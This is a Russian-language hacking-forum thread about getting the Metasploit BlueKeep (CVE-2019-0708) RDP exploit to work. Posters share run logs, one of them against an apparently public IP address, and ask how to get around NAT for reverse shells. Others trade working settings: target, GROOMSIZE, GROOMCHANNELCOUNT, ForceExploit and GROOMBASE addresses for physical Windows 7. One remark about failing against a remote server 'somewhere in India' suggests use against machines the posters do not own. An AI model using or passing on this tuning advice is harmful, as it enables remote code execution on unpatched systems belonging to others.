Soft Metasploit Эксплоит BlueKeep (CVE-2019-0708)

Zlodei · 10.09.2019

Приветствую, помогите при запуске оболчки armitage в консоле пишет
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by sleep.engine.atoms.ObjectAccess (file:/usr/share/armitage/armitage.jar) to method java.lang.ProcessImpl.getErrorStream()
WARNING: Please consider reporting this to the maintainers of sleep.engine.atoms.ObjectAccess
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
Может кто решал уже проблему?

Uzi Em · 11.09.2019

Всем привет тажа самая проблема как и у мнгоих:

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run

[*] Started reverse TCP handler on 192.168.1.21:4444
[*] 91.203.174.254:3389 - Detected RDP on 91.203.174.254:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 91.203.174.254:3389 - The target is vulnerable.
[*] 91.203.174.254:3389 - Using CHUNK grooming strategy. Size 50MB, target address 0xfffffa8006a00000, Channel count 1.
[*] 91.203.174.254:3389 - Surfing channels ...
[*] 91.203.174.254:3389 - Lobbing eggs ...
[-] 91.203.174.254:3389 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
[*] Exploit completed, but no session was created.
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >

Решил ли кто эту проблему? Тут писали как решить но я хз, как все поэтапно делать...

Ссылка скрыта от гостей

If your playing with the @Metasploit #bluekeep CVE-2019-0708 exploit module and none of the targets work. You can use a memdump with the #rekall pools plugin to find the NPP address #dfir #memoryforensics

novikov433 · 16.09.2019

как можно обойти nat без статики, если без покупки статики провайдер не октрывает порты? можно ли использовать связку no Ip, ngrok, ipv6, прокси vps открыть порты ?

ДмитрийNZ · 16.09.2019

novikov433 сказал(а):
как можно обойти nat без статики, если без покупки статики провайдер не октрывает порты? можно ли использовать связку no Ip, ngrok, ipv6, прокси vps открыть порты ?

Детские игрушки

YanPek · 16.09.2019

Ребят я возможно полный дегенерат, но можно ли как-нибудь запустить это на Termux????

T1G3R · 16.09.2019

YanPek сказал(а):
Ребят я возможно полный дегенерат, но можно ли как-нибудь запустить это на Termux????

да в чем проблема только неудобно будет ))))

Triton · 19.09.2019

novikov433 сказал(а):
как можно обойти nat без статики, если без покупки статики провайдер не октрывает порты? можно ли использовать связку no Ip, ngrok, ipv6, прокси vps открыть порты ?

купи vps и надо парится. vps стоит как пачка сигарет))

Tony · 21.09.2019

resharp сказал(а):

Код:

[*] Started reverse TCP handler on  @@@:4444
[*] @@@:3389    - Detected RDP on @@@:3389    (Windows version: 6.1.7600) (Requires NLA: No)
[+] @@@:3389    - The target is vulnerable.
[*] @@@:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8011e07000, Channel count 1.
[*] @@@:3389 - Surfing channels ...
[*] @@@:3389 - Lobbing eggs ...
[-] @@@:3389 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
[*] Exploit completed, but no session was created.

Данной проблемы ни у кого не возникло?

Эта ошибка возникает потому-что Win2k8/Win7 принудительно отключает сессию не вошедшего в систему юзера после 30 сек бездействия. Чтобы её избежать, нужно каждые n секунд или каждые n итераций цикла(отправляющего пакеты с шеллкодом) посылать "keepalive" пакеты aka движения мышью или нажатия клавишь. Я думаю разработчики специально не добавили данный функционал в публичный эксплоит, для защиты от кидисов)) Ведь чтобы протестировать системы в локальной сети этого времени достаточно, а вот отправить 100MB пакетов за 30 сек на удалённый сервер, где-нибудь в индии, уже не получится)))

WhiteHacK · 22.09.2019

Tony сказал(а):
Ведь чтобы протестировать системы в локальной сети этого времени достаточно, а вот отправить 100MB пакетов за 30 сек на удалённый сервер, где-нибудь в индии, уже не получится)

Проблема в том что даже в лабораторных (идеальных) условиях в локальной сети exploit все ровно не отрабатывает на физической машине.
Только лишь на виртуальной.

Tony · 22.09.2019

WhiteHacK сказал(а):
Проблема в том что даже в лабораторных (идеальных) условиях в локальной сети exploit все ровно не отрабатывает на физической машине.
Только лишь на виртуальной.

Ошибку ECONNRESET отдаёт или в BSOD отправляется?

Код:

set TARGET 1
set GROOMSIZE 100
set GROOMCHANNELCOUNT 0

С такими настройками работает на физической win7. Если из-за утечек памяти и смещения NPP отправляется в BSOD, то после перезагрузки отрабатывает 100%

WhiteHacK · 22.09.2019

Интересный факт, нашел одну физическую машину Win7 SP1 с обновлениями безопасности от 06.02.19, на сколько мне известно из отчетов, патч для CVE_2019_0708 был выпущен мелкософтом только в мае (поправьте меня если я не прав), но при проверке сканер показывает что система не уязвима к данной атаке, RDP работает, и настроен специально без проверки подлинности, АВ отключены, занятно конечно.
Это так, мысли вслух

NeckFz · 05.10.2019

Errno::ECONNRESET Connection reset by peer SSL_connect
Подскажите что делать?

keysi111 · 13.10.2019

NeckFz сказал(а):
Errno::ECONNRESET Connection reset by peer SSL_connect
Подскажите что делать?

UNKNOWN - ошибка протокола SSL Начиная с Windows Vista, RDP использует протокол STARTTLS для запуска через SSL. У этого уровня есть свои собственные проблемы, такие как описанные выше, которые включают в себя плохую обработку основных сетевых ошибок или попытки установить связь с системами, имеющими какую-то несовместимость. Если вы получаете очень длинное сообщение об ошибке здесь (например, SSL3_GET_RECORD: неправильная версия), это потому, что у другой стороны есть ошибка в SSL, или у вашей собственной библиотеки SSL есть ошибка.

Петручо · 05.11.2019

этот эксплойт вроде как есть уже в метасплоите и чего то он не работает из за роутера .
нет возможности получить белый ip , хотя удаленный доступ к роутеру есть , там пробросил порты на свой ip и выдает следующее
[-] Handler failed to bind to х.х.х.х.:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[+] х.х.х.х.:3389 - The target is vulnerable.
[-] х.х.х.х.:3389 - Exploit aborted due to failure: bad-config: Set the most appropriate target manually
[*] Exploit completed, but no session was created.

пробовал выставлять LHOST и роутера и свой , так же то же самое делал с RDP_CLIENT_IP
и не пойму , ему обязательно белый ip нужен , или он просто сам по себе нерабочий ?

Tony · 05.11.2019

Петручо сказал(а):
[-] х.х.х.х.:3389 - Exploit aborted due to failure: bad-config: Set the most appropriate target manually

Он тебе же пишет, выстави опцию target вручную. set target 1, 2, 3 или 4

Ruby:

[
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8003800000
            }
          ],
          [
            # This works with Virtualbox 6
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8002407000
            }
          ],
          [
            # This address works on VMWare 15 on Windows.
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8018C00000
              #'GROOMBASE' => 0xfffffa801C000000
            }
          ],
          [
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8102407000
            }
          ],
        ],

Петручо · 05.11.2019

да это я понял , сразу загуглил эту проблему и на гитхабе это уже описали . трабла в том что что бы ты ни выставил , он пишет одно и то же , и на гитхабе кстати та же тема .

WhiteHacK · 05.11.2019

Петручо сказал(а):
этот эксплойт вроде как есть уже в метасплоите и чего то он не работает из за роутера .
нет возможности получить белый ip , хотя удаленный доступ к роутеру есть

Вы сначала в локальной сети его заставьте работать, а то по факту выходит так что все те вариации этого сплоита которые есть в паблике работают в основном только при тесте с виртуальной машиной, а при атаке на физические машины возникает куча нюансов, и если эту проблему кто то и решил то в паблике я этого еще не встречал, хотя может быть плохо искал.

Петручо · 05.11.2019

а вот тут упс , ступил , писал set targets вместо target , после правильного выставления пошли другие ошибки
1) Exploit failed: Msf::Exploit::Remote::RDP::RdpCommunicationError Msf::Exploit::Remote::RDP::RdpCommunicationError
2) Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer

Вы сначала в локальной сети его заставьте работать, а то по факту выходит так что все те вариации этого сплоита которые есть в паблике работают в основном только при тесте с виртуальной машиной, а при атаке на физические машины возникает куча нюансов, и если эту проблему кто то и решил то в паблике я этого еще не встречал, хотя может быть плохо искал.

на виртуалках часто проходит гладко , а в реале ни хрена .
но все равно попробую.

Петручо · 10.11.2019

че то ни хрена не пойму , разбирался почему сплойт не работает и по ошибкам нашел что потому что сервер терминалов не лиценизрован , лицензировал на уявимой виртуалке , после этого сплоит вообще перестал работать , при чем и на других виртуалках и на тех что в сети .
пишет
Exploit aborted due to failure: not-vulnerable: Set ForceExploit to override

включил режим verbose ругается на сертификаты с сервера .

[*] Started reverse TCP handler on 192.168.13.101:4444
[*] 192.168.13.1:3389 - Verifying RDP protocol...
[*] 192.168.13.1:3389 - Attempting to connect using TLS security
[*] 192.168.13.1:3389 - Attempt to connect with TLS failed with error: SSL_NOT_ALLOWED_BY_SERVER
[*] 192.168.13.1:3389 - Attempting to connect using Standard RDP security
[*] 192.168.13.1:3389 - Verifying RDP protocol...
[*] 192.168.13.1:3389 - Attempting to connect using TLS security
[*] 192.168.13.1:3389 - Attempt to connect with TLS failed with error: SSL_NOT_ALLOWED_BY_SERVER
[*] 192.168.13.1:3389 - Attempting to connect using Standard RDP security
[*] 192.168.13.1:3389 - Detected RDP on 192.168.13.1:3389 (Windows version: N/A) (Requires NLA: No)
[-] 192.168.13.1:3389 - Server cert isn't RSA, this scenario isn't supported (yet).
[-] 192.168.13.1:3389 - Error communicating RDP protocol.
[*] 192.168.13.1:3389 - Cannot reliably check exploitability.
[-] 192.168.13.1:3389 - Exploit aborted due to failure: not-vulnerable: Set ForceExploit to override
[*] Exploit completed, but no session was created.

настройки TLS стоят на разрешено всё
RDP_TLS_SECURITY_LEVEL 0

может я че то с настройками сплойта нашаманил и не помню , как сбросить все по умолчанию ?
и че можно сделать с SSL и сертификатами ?

Петручо · 10.11.2019

выставил set ForceExploit true и set target 2 (vbox)
и пошло
[*] Started reverse TCP handler on 192.168.13.101:4444
[*] 192.168.13.1:3389 - Verifying RDP protocol...
[*] 192.168.13.1:3389 - Attempting to connect using TLS security
[*] 192.168.13.1:3389 - Attempt to connect with TLS failed with error: SSL_NOT_ALLOWED_BY_SERVER
[*] 192.168.13.1:3389 - Attempting to connect using Standard RDP security
[*] 192.168.13.1:3389 - Verifying RDP protocol...
[*] 192.168.13.1:3389 - Attempting to connect using TLS security
[*] 192.168.13.1:3389 - Attempt to connect with TLS failed with error: SSL_NOT_ALLOWED_BY_SERVER
[*] 192.168.13.1:3389 - Attempting to connect using Standard RDP security
[*] 192.168.13.1:3389 - Detected RDP on 192.168.13.1:3389 (Windows version: N/A) (Requires NLA: No)
[-] 192.168.13.1:3389 - Server cert isn't RSA, this scenario isn't supported (yet).
[-] 192.168.13.1:3389 - Error communicating RDP protocol.
[*] 192.168.13.1:3389 - Cannot reliably check exploitability.
[*] 192.168.13.1:3389 - Verifying RDP protocol...
[*] 192.168.13.1:3389 - Attempting to connect using TLS security
[*] 192.168.13.1:3389 - Attempt to connect with TLS failed with error: SSL_NOT_ALLOWED_BY_SERVER
[*] 192.168.13.1:3389 - Attempting to connect using Standard RDP security
[-] 192.168.13.1:3389 - Server cert isn't RSA, this scenario isn't supported (yet).
[-] 192.168.13.1:3389 - Exploit failed: Msf::Exploit::Remote::RDP::RdpCommunicationError Msf::Exploit::Remote::RDP::RdpCommunicationError

то есть ошибка другая , но на SSL все равно ругается

Все сервисы Codeby

Поиск

Поиск

Soft Metasploit Эксплоит BlueKeep (CVE-2019-0708)

Zlodei

Uzi Em

New member

novikov433

ДмитрийNZ

YanPek

T1G3R

New member

Triton

Tony

WhiteHacK

Tony

WhiteHacK

NeckFz

New member

keysi111

Петручо

Tony

Петручо

WhiteHacK

Петручо

Петручо

Петручо